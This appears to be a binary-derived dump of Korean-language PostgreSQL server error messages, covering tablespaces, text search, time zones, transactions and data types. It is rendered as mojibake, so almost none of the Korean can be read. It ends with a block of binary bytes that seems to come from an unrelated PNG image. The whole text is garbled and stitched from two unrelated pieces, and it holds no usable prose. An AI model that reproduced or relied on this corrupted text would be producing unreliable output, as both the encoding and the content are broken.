%d입니다"%s" ì´ë¦„ì˜ í…Œì´ë¸”스페ì´ìŠ¤ëŠ” ì´ë¯¸ 있ìŒ"%s" í…Œì´ë¸”스페ì´ìФ ì—†ìŒ"%s" í…Œì´ë¸”스페ì´ìФ ì—†ìŒ, 건너 뜀"%s" í…Œì´ë¸”스페ì´ìŠ¤ëŠ” 비어있지 않ìŒ%s í…Œì´ë¸”스페ì´ìФ%u í…Œì´ë¸”스페ì´ìŠ¤ëŠ” 비어있지 않ìŒ%u í…Œì´ë¸”스페ì´ìŠ¤ëŠ” 현재 ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤í…Œì´ë¸”스페ì´ìФ 경로가 너무 ê¹ë‹ˆë‹¤: "%s"í…Œì´ë¸”스페ì´ìФ 경로는 절대경로여야합니다테ì´ë¸”스페ì´ìФ ì´ë¦„으로 ì ë‹¹í•˜ì§€ 않습니다OID %u í…Œì´ë¸”스페ì´ìФ ì—†ìŒí…Œì´ë¸”스페ì´ìФ ê¸°ëŠ¥ì€ ì´ í”Œëž«í¼ì—서는 ì§€ì›í•˜ì§€ 않습니다.%s ëŒ€ìƒ ìžë£Œí˜•ì´ ì˜ì‚¬ìžë£Œí˜•(pseudo-type) ìž…ë‹ˆë‹¤ëŒ€ìƒ ëª©ë¡ì€ 최대 %d ê°œì˜ í•­ëª©ì„ ì§€ì •í•  수 ìžˆìŠµë‹ˆë‹¤ëŒ€ìƒ ìžë£Œí˜•ì´ ë°°ì—´ì´ ì•„ë‹™ë‹ˆë‹¤."%s" 템플릿 ë°ì´í„°ë² ì´ìФ ì—†ìŒìž„시 파ì¼: 경로 "%s", í¬ê¸° %lu다른 활성화 ë˜ì–´ìžˆëŠ” 서버 프로세스를 마치고 있는 중입니다다른 서버 프로세스가 ì†ìƒì„ ìž…ì–´ 현재 ì—°ê²°ì„ ì¤‘ì§€í•©ë‹ˆë‹¤ê´€ë¦¬ìž ìš”ì²­ì— ì˜í•´ì„œ ì—°ê²°ì„ ë냅니다통계 수집기ì—서 사용할 소켓으로 테스트 메시지를 처리할 수 없습니다"%s" í…스트 검색 구성 ì´ë¦„ì´ ìŠ¤í‚¤ë§ˆë¡œ 한정ë˜ì–´ì•¼ 함%s í…스트 검색 사전%s í…스트 검색 파서í…스트 검색 파서ì—서 헤드ë¼ì¸ ìž‘ì„±ì„ ì§€ì›í•˜ì§€ 않ìŒí…스트 검색 파서 end 메서드가 필요함í…스트 검색 파서 gettoken 메서드가 필요함í…스트 검색 파서가 필요함í…스트 검색 파서 lextypes 메서드가 필요함í…스트 검색 파서 start 메서드가 필요함%s í…스트 검색 템플릿í…스트 검색 í…œí”Œë¦¿ì´ í•„ìš”í•¨í…스트 검색 템플릿 lexize 메서드가 필요함MAC 어드레스로 ë³€í™˜í•˜ê¸°ì— ë¬¸ìžì—´ì´ 너무 ê¹ë‹ˆë‹¤.<qbq>í…스트 검색 ì¿¼ë¦¬ì— ì¤‘ì§€ 단어만 í¬í•¨ë˜ì–´ 있거나 어휘소가 í¬í•¨ë˜ì–´ 있지 않ìŒ, <qbq>무시ë¨í…스트 검색 ì¿¼ë¦¬ì— ì–´íœ˜ì†Œê°€ í¬í•¨ë˜ì–´ 있지 않ìŒ: "%s"ë°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì´ ìžë™ 복구 작업 중입니다.ë°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì´ ì¤‘ì§€ 중입니다ë°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì´ ìƒˆë¡œ ê°€ë™ ì¤‘ìž…ë‹ˆë‹¤.%s ìžë£Œí˜•ì„ ìœ„í•œ 기본 ì—°ì‚°ìž í´ëž˜ìŠ¤ê°€ 여러개 있습니다"%s" ì´ë¦„ì˜ ë£°(rule)ì´ ì—¬ëŸ¬ê°œ 있습니다ì´ë¯¸ 트랜잭션 ìž‘ì—…ì´ ì§„í–‰ 중입니다"%s" ì´ë¦„ì˜ ë‚´ìž¥ 함수가 ì—†ìŒ%u 로그파ì¼ì— contrecord 플래그가 ì—†ìŒ, 세그먼트 %u, 오프셋 %u$%d 매개 변수가 없습니다"%s" í…Œì´ë¸”ì„ ìœ„í•œ previously clustered ì¸ë±ìŠ¤ê°€ ì—†ìŒì°¸ì¡°ë˜ëŠ” "%s" í…Œì´ë¸”ì—는 기본키(primary key)ê°€ 없습니다현재 트랜잭션 ìž‘ì—…ì„ í•˜ì§€ 않고 있습니다참조ë˜ëŠ” "%s" í…Œì´ë¸”ì„ ìœ„í•œ 주워진 키와 ì¼ì¹˜í•˜ëŠ” 고유 제약 ì¡°ê±´ì´ ì—†ìŠµë‹ˆë‹¤"%s" ë™ì˜ì–´ 사전 샘플 단어는 중지 단어임(규칙 %d)<qbq>"%s" ë™ì˜ì–´ 사전 샘플 단어는 하위 사전ì—서 ì¸ì‹í•  수 ì—†ìŒ(규칙 %d)ë™ì˜ì–´ 사전 대체 구가 비어 있ìŒ(규칙 %d)"%s" ë™ì˜ì–´ 사전 대체 단어는 중지 단어임(규칙 %d)<qbq>"%s" ë™ì˜ì–´ 사전 대체 단어는 하위 사전ì—서 ì¸ì‹í•  수 ì—†ìŒ(규칙 %d)형변화 í•¨ìˆ˜ì˜ ì„¸ë²ˆì§¸ ì¸ìˆ˜ ìžë£Œí˜•ì€ ë°˜ë“œì‹œ booleanì´ì—¬ì•¼í•©ë‹ˆë‹¤"%s" time zone ì—서 leap second를 사용합니다"%s" ì´ë¦„ì˜ ì‹œê°„ëŒ€ëŠ” 없습니다.표준 시간대 약어 "%s"ì€(는) 배수로 ì •ì˜ë¨<qbq>표준 시간대 약어 "%s"ì´(ê°€) 너무 ê¹ë‹ˆë‹¤(최대 %dìž)<qbq>("%s" 표준 시간대 파ì¼ì˜ %d번째 ì¤„ì— ìžˆìŒ).표준시간대 범위를 벗어남: "%s""%s" 파ì¼ì—서 time zone íŒŒì¼ ìž¬ê·€í˜¸ì¶œ 최대치를 초과했ìŒì§€ì—­ì‹œê°„대 간격(time zone interval) ê°’ì€ ì‹œ(HOUR) ë˜ëŠ” 시분(HOUR TO MINUTE) ê°’ì´ì–´ì•¼í•©ë‹ˆë‹¤<qbq>표준 시간대 오프셋 %dì€(는) 900ì´ˆ(15ë¶„)ì˜ ë°°ìˆ˜ê°€ 아닙니다<qbq>("%s" 표준 시간대 파ì¼ì˜ %d번째 ì¤„ì— ìžˆìŒ).표준 시간대 오프셋 %dì´(ê°€) 범위를 벗어났습니다("%s" 표준 시간대 파ì¼ì˜ %d번째 ì¤„ì— ìžˆìŒ).타임스탬프(timestamp)ì˜ ë²”ìœ„ë¥¼ 벗어났습니다.타임스탬프 ê°’ì´ ë²”ìœ„ë¥¼ 벗어났ìŒ: "%s""%s" timestamp ìœ ë‹›ì„ ì²˜ë¦¬í•˜ì§€ 못했습니다"%s" timestamp ìœ ë‹›ì€ ì§€ì›í•˜ì§€ 않습니다"%s" 시간대 ìœ ë‹›ì´ ìžˆëŠ” timestamp ê°’ì„ ì²˜ë¦¬í•˜ì§€ 못했습니다"%s" 시간대 ìœ ë‹›ì´ ìžˆëŠ” timestamp ìžë£Œí˜•ì€ ì§€ì›í•˜ì§€ 않습니다타임스탬프(%d) ì •ë°€ë„는 %dì—서 %d 사ì´ì—¬ì•¼ 함%s 토스트 í…Œì´ë¸”ì¸ìˆ˜ê°€ 너무 많습니다함수 %s ë‚´ì— ë„ˆë¬´ ë§Žì€ ì—´ 알리아스가 명시ë˜ì–´ 있습니다."%s" ë°ì´í„°ë² ì´ìФ 최대 ì ‘ì†ìˆ˜ë¥¼ 초과했습니다"%s" ë¡¤ì˜ ìµœëŒ€ ë™ì‹œ ì ‘ì†ìˆ˜ë¥¼ 초과했습니다???너무 ë§Žì€ pointë“¤ì´ ìš”ì²­ë˜ì—ˆìŠµë‹ˆë‹¤.트랜잭션 %u트랜잭션 ID 래핑 ì œí•œì€ %u(으)로, "%s" ë°ì´í„°ë² ì´ìФì—서 제한ë¨"%s" ì´ë¦„ì˜ íŠ¸ëžœìž­ì…˜ ì‹ë³„ìžê°€ ì´ë¯¸ 사용 중입니다트랜잭션 ì‹ë³„ìžê°€ 너무 ê¹ë‹ˆë‹¤: "%s"íŠ¸ëžœìž­ì…˜ì´ ì½ê¸°ì „ìš©ìž…ë‹ˆë‹¤íŠ¸ëžœìž­ì…˜ì´ ë¹„ì–´ìžˆì§€ ì•Šì€ SPI 스íƒì„ 남겼습니다"%s" 트랜잭션 로그 파ì¼ì´ 백업(archive)ë  ìˆ˜ 없습니다: 너무 ë§Œì€ ì‹¤íŒ¨ê°€ 있ìŒê°•제로 트랜잭션 로그를 바꿨습니다 (archive_timeout=%d)_^_ transform 표현ì‹ì€ í•˜ë‚˜ì˜ setì„ ë¦¬í„°í•˜ë©´ 안ë©ë‹ˆë‹¤"%s" ì´ë¦„ì˜ íŠ¸ë¦¬ê±°ê°€ "%s" í…Œì´ë¸”ì— ì´ë¯¸ 있습니다"%s" 트리거는 "%s" í…Œì´ë¸”ì— ì—†ìŒ"%s" 트리거는 "%s" í…Œì´ë¸”ì— ì—†ìŒ, 건너 뜀%s 트리거, 해당 í…Œì´ë¸”: %u 트리거 함수가 null ê°’ì„ ë¦¬í„´í–ˆìŠµë‹ˆë‹¤"%s" ê°œì²´ì˜ ìžë£Œë„ 함께 ì‚­ì œë¨í†µê³„ 수집기ì—서 사용할 다른 주소를 찾습니다튜플 (%u,%u), 릴레ì´ì…˜ %u, ë°ì´í„°ë² ì´ìФ %u%u íŠ¸ëžœìž­ì…˜ì„ ìœ„í•œ two-phase ìƒíƒœì •ë³´ 파ì¼ì´ ì†ìƒ ë˜ì—ˆìŠµë‹ˆë‹¤"%s" ìžë£Œí˜•ì´ ì´ë¯¸ 있습니다%s ìžë£Œí˜•ì´ ì´ë¯¸ "%s" 스키마 ì•ˆì— ìžˆìŠµë‹ˆë‹¤"%s" ìžë£Œí˜• ì—†ìŒ"%s" ìžë£Œí˜• ì—†ìŒ, 무시함"%s" ìžë£Œí˜•ì´ ì•„ì§ ì •ì˜ë˜ì§€ 않았ìŒìžë£Œí˜• "%s" 는 오로지 shell ì—ë§Œ 있습니다. ???"line" ìžë£Œí˜•ì€ ì•„ì§ êµ¬í˜„ë˜ì§€ 않았습니다.%s ìžë£Œí˜•%s ìžë£Œí˜• ì—†ìŒ%s ìžë£Œí˜•ì´ ì´ë¯¸ "%s" 스키마 ì•ˆì— ìžˆìŠµë‹ˆë‹¤%s ìžë£Œí˜•ì€ ë„ë©”ì¸ì´ 아닙니다%s ìžë£Œí˜•ì€ ë³µí•© ìžë£Œí˜•ì´ ì•„ë‹™ë‹ˆë‹¤%s 형ì‹ì€ ì…¸ì¼ ë¿ìž„%s ìžë£Œí˜• ë¶„ì„ í•¨ìˆ˜ì˜ ë¦¬í„´ê°’ì€ ë°˜ë“œì‹œ "boolean" 형ì´ì–´ì•¼í•©ë‹ˆë‹¤ìž˜ëª»ëœ "%s" ì†ì„±ì˜ ìžë£Œí˜•ìžë£Œí˜• %s ìž…ë ¥ í•¨ìˆ˜ì˜ %s ìžë£Œí˜•ì„ ë¦¬í„´í•´ì•¼í•©ë‹ˆë‹¤ìžë£Œí˜• ìž…ë ¥ 함수를 지정하십시오anyenumì— ì¼ì¹˜ëœ 형ì‹ì´ ì—´ê±° 형ì‹ì´ 아님: %s"%s" ì…¸ 형ì‹ì— 대해 í˜•ì‹ í•œì •ìžë¥¼ 지정할 수 ì—†ìŒ"%s" 형ì‹ì—는 í˜•ì‹ í•œì •ìžë¥¼ 사용할 수 ì—†ìŒ<qbq>í˜•ì‹ í•œì •ìž ìž…ë ¥ 함수가 없으면 í˜•ì‹ í•œì •ìž ì¶œë ¥ 함수는 <qbq>ì˜ë¯¸ê°€ ì—†ìŒí•˜ìœ„ í…Œì´ë¸”ì—ì„œë„ ìƒì†ëœ "%s" ì—´ì˜ í˜•ì‹ì„ 바꾸어야 함%s ìžë£Œí˜• 출력 함수는 "cstring" ìžë£Œí˜•ì„ ë¦¬í„´í•´ì•¼í•©ë‹ˆë‹¤ìžë£Œí˜• 출력 함수를 지정하십시오%s ìžë£Œí˜• receive 함수는 %s ìžë£Œí˜•ì„ ë¦¬í„´í•´ì•¼í•©ë‹ˆë‹¤ype reference %s ê°€ %s 로 변환ë˜ì—ˆìŠµë‹ˆë‹¤.%s ìžë£Œí˜• send 함수는 "bytea" ìžë£Œí˜•ì„ ë¦¬í„´í•´ì•¼í•©ë‹ˆë‹¤OID %u ìžë£Œí˜• ì—†ìŒ"%s" 스키마 ì´ë¦„ì´ ì ë‹¹í•˜ì§€ 못합니다"%s" í…Œì´ë¸”스페ì´ìФ ì´ë¦„ì€ ì ë‹¹ì¹˜ 않습니다%s 카탈로그가 아닌 í…Œì´ë¸”í–‰ 표현ì‹ì—서 항목 수가 ì¼ì¹˜í•˜ì§€ 않습니다???예기치 ì•Šì€ "=" 기호복사 ìžë£Œ ì•ˆì— ì˜ˆìƒì¹˜ ì•Šì€ EOF 발견í´ë¼ì´ì–¸íЏ ì—°ê²°ì—서 예ìƒì¹˜ ì•Šì€ EOF 발견ë¨ì˜ˆìƒì¹˜ 못한 EOFê°€ ë©”ì‹œì§€ì˜ ê¸¸ì´ ì›Œë“œì•ˆì—서 ë°œìƒí–ˆìŠµë‹ˆë‹¤.í´ë¼ì´ì–¸íЏì—서 예ìƒì¹˜ ì•Šì€ ì»¤ë² ë¡œìŠ¤ ì‚¬ìš©ìž ì´ë¦„ì´ ì‚¬ìš©ë˜ì—ˆìŠµë‹ˆë‹¤ (보내온 것 "%s", 예ìƒë˜ëŠ” 것 "%s")%dì€(는) ISO 8859 ë¬¸ìž ì§‘í•©ì— ëŒ€í•œ 예기치 ì•Šì€ ì¸ì½”딩 IDìž„%dì€(는) WIN ë¬¸ìž ì§‘í•©ì— ëŒ€í•œ 예기치 ì•Šì€ ì¸ì½”딩 IDìž„COPY 명령으로 stdin으로 ìžë£Œë¥¼ 가져오는 ë™ì•ˆ 예ìƒì¹˜ ì•Šì€ ë©”ì‹œì§€ 타입 0x%02X 발견ë¨ì˜ˆìƒì¹˜ 못한 페ì´ì§€ 주소 %X/%X, 로그파ì¼: %u, 세그먼트 %u, 오프셋 %uì²´í¬í¬ì¸íЏ ë ˆì½”ë“œì— ì˜ˆê¸°ì¹˜ ì•Šì€ íƒ€ìž„ë¼ì¸ ID %uì´(ê°€) 있ìŒ(%u ë’¤)ì²´í¬í¬ì¸íЏ ë ˆì½”ë“œì— ì˜ˆê¸°ì¹˜ ì•Šì€ íƒ€ìž„ë¼ì¸ ID %uì´(ê°€) 있ìŒ(%uì´ì–´ì•¼ 함)예ìƒì¹˜ 못한 타임ë¼ì¸ ID %u, 로그파ì¼: %u, 세그먼트 %u, 오프셋 %u고유 제약 ì¡°ê±´ì€ ë„ë©”ì¸ ì •ì˜ì— 사용할 수 ì—†ìŒì´ë¦„ì´ ì§€ì •ë˜ì§€ ì•Šì€ XML ì†ì„± ê°’ì€ ì—´ 참조여야 함ì´ë¦„ì´ ì§€ì •ë˜ì§€ ì•Šì€ XML 요소 ê°’ì€ ì—´ 참조여야 함ì´ë¦„없는 ì¤€ë¹„ëœ ëª…ë ¹ 구문(unnamed prepared statement) ì—†ìŒë°ì´í„°ì— carriage return ê°’ 표기가 잘못 ë˜ì—ˆìŒë°ì´í„°ì— newline ê°’ì´ ìž˜ëª» ë˜ì—ˆìŒ"datestyle" 키워드를 ì¸ì‹í•  수 ì—†ìŒ: "%s""log_destination"ì˜ ì•Œ 수 없는 키워드: "%s"_^_ %d 알수 없는 API ë²„ì „ì´ "%s" í•¨ìˆ˜ì— ì˜í•´ì„œ ë³´ê³ ë˜ì—ˆìŒì¸ì‹ë˜ì§€ ì•Šì€ SSL ì—러 코드 %d%d는 ì¸ì‹ë˜ì§€ 않는 가족 주소입니다알 수 없는 환경 매개 변수 ì´ë¦„: "%s"_^_ 복사 íŒŒì¼ í—¤ë”ì•ˆì— critical flags ê°’ë“¤ì„ ì¸ì‹í•  수 ì—†ìŒì•Œ 수 없는 ì¸ì½”딩: "%s"알 수 없는 오류 %d알수 없는 함수 ì†ì„± "%s" 무시ë¨ì•Œ 수 없는 ì•Šì€ í‚¤ì›Œë“œ: "%s"알 수 없는 locktag 형태 %d알 수 없는 환경 설정 ì´ë¦„입니다 "%s"알 수 없는 권한 타입 "%s"알 수 없는 권한 타입: "%s"알 수 없는 복구 매개 변수 ì´ë¦„: "%s"알 수 없는 í…Œì´ë¸”-함수 리턴모드: %d알 수 없는 time zone ì´ë¦„: "%s"알 수 없는 win32 오류 코드: %lu예약ë˜ì§€ 않ìŒë¬¸ìžì—´ ì•ˆì— \' ì‚¬ìš©ì´ ì•ˆì „í•˜ì§€ 않습니다"internal" ì˜ì‚¬-ìžë£Œí˜•ì˜ ì‚¬ìš©ì´ ì•ˆì „í•˜ì§€ 않습니다유니코드 ì´ìŠ¤ì¼€ì´í”„와 함께 문ìžì—´ ìƒìˆ˜ë¥¼ 사용하는 ê²ƒì€ ì•ˆì „í•˜ì§€ 않ìŒON COMMIT ë° ì™¸ëž˜ 키 ì¡°í•©ì´ ì§€ì›ë˜ì§€ 않ìŒì§€ì›í•˜ì§€ 않는 í¬ë§· 코드: %dì§€ì›í•˜ì§€ 않는 frontend 프로토콜 %u.%u: 서버ì—서 ì§€ì›í•˜ëŠ” 프로토콜 %u.0 .. %u.%uì§€ì›í•˜ì§€ 않는 프로시저 언어 "%s"마무리 ì•ˆëœ /* 주ì„종료ë˜ì§€ ì•Šì€ CSV 따옴표 필드마무리 ì•ˆëœ ë¹„íŠ¸ 문ìžì—´ 문ìžë§ˆë¬´ë¦¬ ì•ˆëœ ë‹¬ëŸ¬-따옴표 ì•ˆì˜ ë¬¸ìžì—´ë§ˆë¬´ë¦¬ ì•ˆëœ 16진수 문ìžì—´ 문ìžë§ˆë¬´ë¦¬ ì•ˆëœ ë”°ì˜´í‘œ ì•ˆì˜ ì‹ë³„ìžë§ˆë¬´ë¦¬ ì•ˆëœ ë”°ì˜´í‘œ ì•ˆì˜ ë¬¸ìžì—´"%s" í…Œì´ë¸”ì˜ ìžë£Œ 갱신, ì‚­ì œ ìž‘ì—…ì´ "%s" 참조키(foreign key) 제약 ì¡°ê±´ - "%s" í…Œì´ë¸” - ì„ ìœ„ë°˜í–ˆìŠµë‹ˆë‹¤???ê³ ì •ëœ í¬ê¸°ì˜ ë°°ì—´ì˜ ì¡°ê°ì„ ì—…ë°ì´íЏ 하는 ê¸°ëŠ¥ì€ êµ¬í˜„ë˜ì§€ 않았습니다.ìƒí•œê°’ì€ í•˜í•œê°’ë³´ë‹¤ ìž‘ì„ ìˆ˜ 없습니다user lock [%u,%u,%u]%sì— ëŒ€í•œ ì‚¬ìš©ìž ë§¤í•‘"%s"ì— ëŒ€í•œ ì‚¬ìš©ìž ë§¤í•‘ì„ ì°¾ì„ ìˆ˜ ì—†ìŒì‹œìŠ¤í…œ 카탈로그 í…Œì´ë¸”ì—는 ì‚¬ìš©ìž ì •ì˜ ì¸ë±ìŠ¤ë¥¼ 지정할 수 ì—†ìŠµë‹ˆë‹¤ì‚¬ìš©ìž ì •ì˜ ê´€ê³„ 매개 변수 í˜•ì‹ ì œí•œì„ ì´ˆê³¼í•¨CREATE LANGUAGE ì˜ ë§¤ê°œ 변수 ëŒ€ì‹ ì— pg_pltemplate 정보를 ì´ìš©í•˜ì„¸ìš”ì´ì „ ì²´í¬í¬ì¸íЏ 레코드를 사용함, 위치: %X/%Xutility ëª…ë ¹ë¬¸ë“¤ì€ ë¯¸ë¦¬ 준비할 수 없습니다"%s.%s" 청소 중값 "%s"ì€(는) 8비트 ì •ìˆ˜ì˜ ë²”ìœ„ë¥¼ 벗어남입력한 "%s" ê°’ì€ bigint ìžë£Œí˜• 범위를 초과했습니다입력한 "%s" ê°’ì€ integer ìžë£Œí˜• 범위를 초과했습니다입력한 "%s" ê°’ì€ oid ìžë£Œí˜• 범위를 초과했습니다입력한 "%s" ê°’ì€ smallint ìžë£Œí˜• 범위를 초과했습니다%s ë„ë©”ì¸ìš© ê°’ì´ "%s" ì²´í¬ ì œì•½ ì¡°ê±´ì„ ìœ„ë°˜í–ˆìŠµë‹ˆë‹¤tsqueryì˜ ê°’ì´ ë„ˆë¬´ í¼: "%s"ê°’ì´ ìˆ˜ì¹˜ 형ì‹ì— 넘처남character varying(%d) ìžë£Œí˜•ì— ë„ˆë¬´ 긴 ìžë£Œë¥¼ 담으려고 합니다.character(%d) ìžë£Œí˜•ì— ë„ˆë¬´ 긴 ìžë£Œë¥¼ 담으려고 합니다."%s" ì¸ë±ìŠ¤ì˜ ë²„ì „ì´ í‹€ë¦½ë‹ˆë‹¤: íŒŒì¼ ë²„ì „ %d, 코드 버전 %d"%s" ë·°(view) ì—†ìŒ"%s" ë·°(view) ì—†ìŒ, 무시함"%s" 뷰는 임시ì ì¸ 뷰로 만들어집니다%s ë·°ë·°ì—는 ì ì–´ë„ 한 ê°œ ì´ìƒì˜ ì—´ì´ ìžˆì–´ì•¼ 합니다"%s" 위한 ë·° 룰(view rule)ì˜ ì´ë¦„ì€ "%s" 여야만합니다창 함수 호출ì—는 OVER ì ˆì´ í•„ìš”í•¨ë‹¨ì–´ê°€ 너무 ê¹€(%ldë°”ì´íЏ, 최대 %ldë°”ì´íЏ)tsqueryì˜ ë‹¨ì–´ê°€ 너무 ê¹€: "%s"단어가 너무 길어서 ì¸ë±ì‹±í•  수 ì—†ìŒí”Œëž˜ê·¸ì— ë§žì§€ 않는 접사 íŒŒì¼ í˜•ì‹ìž˜ëª»ëœ ìžë£Œí˜•: %u, 예ìƒë˜ëŠ” ìžë£Œí˜• %uìž˜ëª»ëœ ìš”ì†Œ 타입프로세스 %dì— ëŒ€í•œ 취소 ìš”ì²­ì— ìž˜ëª»ëœ í‚¤ê°€ 있ìŒìž˜ëª»ëœ ë°°ì—´ 하위 스í¬ë¦½íЏ(1,2...ì°¨ì› ë°°ì—´ 표시 문제)ì—´ 수(%d)ê°€ 최대값(%d)ì„ ì´ˆê³¼í–ˆìŠµë‹ˆë‹¤prepared statement  "%s"ì— ë§¤ê°œ 변수 수가 틀렸습니다OVERLAPS ì‹ì˜ ì™¼ìª½ì— ìžˆëŠ” 매개 변수 수가 잘못ë¨OVERLAPS ì‹ì˜ ì˜¤ë¥¸ìª½ì— ìžˆëŠ” 매개 변수 수가 잘못ë¨xlog redo %s0ì˜ ìŒìˆ˜ ê±°ë“­ì œê³±ì´ ì •ì˜ë˜ì–´ 있지 않ìŒ"dynamic_library_path" 매개 변수 값으로 길ì´ê°€ 0ì¸ ê°’ì„ ì‚¬ìš©í–ˆìŒê¸¸ì´ê°€ 0ì¸ êµ¬ë¶„ ì‹ë³„ìž
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚